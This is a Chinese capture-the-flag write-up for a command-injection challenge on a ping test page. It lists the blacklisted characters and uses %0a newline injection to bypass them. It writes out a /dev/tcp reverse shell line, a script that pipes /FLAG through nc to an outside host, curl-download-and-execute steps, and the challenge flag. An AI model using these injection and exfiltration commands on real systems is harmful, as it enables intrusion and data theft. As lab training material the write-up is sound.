命令执行漏洞CTF
死亡ping命令
题目描述:
路由器管理台经常存在的网络ping测试,开发者常常会禁用大量的恶意字符串,试试看如何绕过呢?
docker-compose.yml
version: "3.2"
services:
converter:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
ports:
- 80:80
启动方式
docker-compose up -d
题目Flag
n1book{6fa82809179d7f19c67259aa285a7729}
Writeup
通过测试可以发现是存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符。
利用fuzz的方式能够知道过滤了以下字符:
[“$”, “{”, “}”, “`”, “;”, “&”, “|”, “(”, “)”, “”", “'”, “~”, “!”, “@”, “#”, “%”, “^”, “*”, “[”, “]”, “\”, “:”, “-”, “_”];
通过%0a能够注入新的一条命令进行执行。
由于docker是没有bash、python程序的,并且sh反弹是不行的。
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
关闭防火墙
新建1.sh文件,内容为:
ls
cat /FLAG | nc 192.168.10.3 8080
目前是能通过折中的方式执行任意命令
请求bash文件到tmp目录
127.0.0.1%0acurl 192.168.10.3/1.sh > /tmp/1.sh
结果如下
给bash加权限
127.0.0.1%0achmod 777 /tmp/1.sh
结果如下
执行bash文件
127.0.0.1%0ash /tmp/1.sh
结果如下
192.168.10.3机器上进行监听8080端口
nc -l 8080
结果如下
得到flag:n1book{6fa82809179d7f19c67259aa285a7729}
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85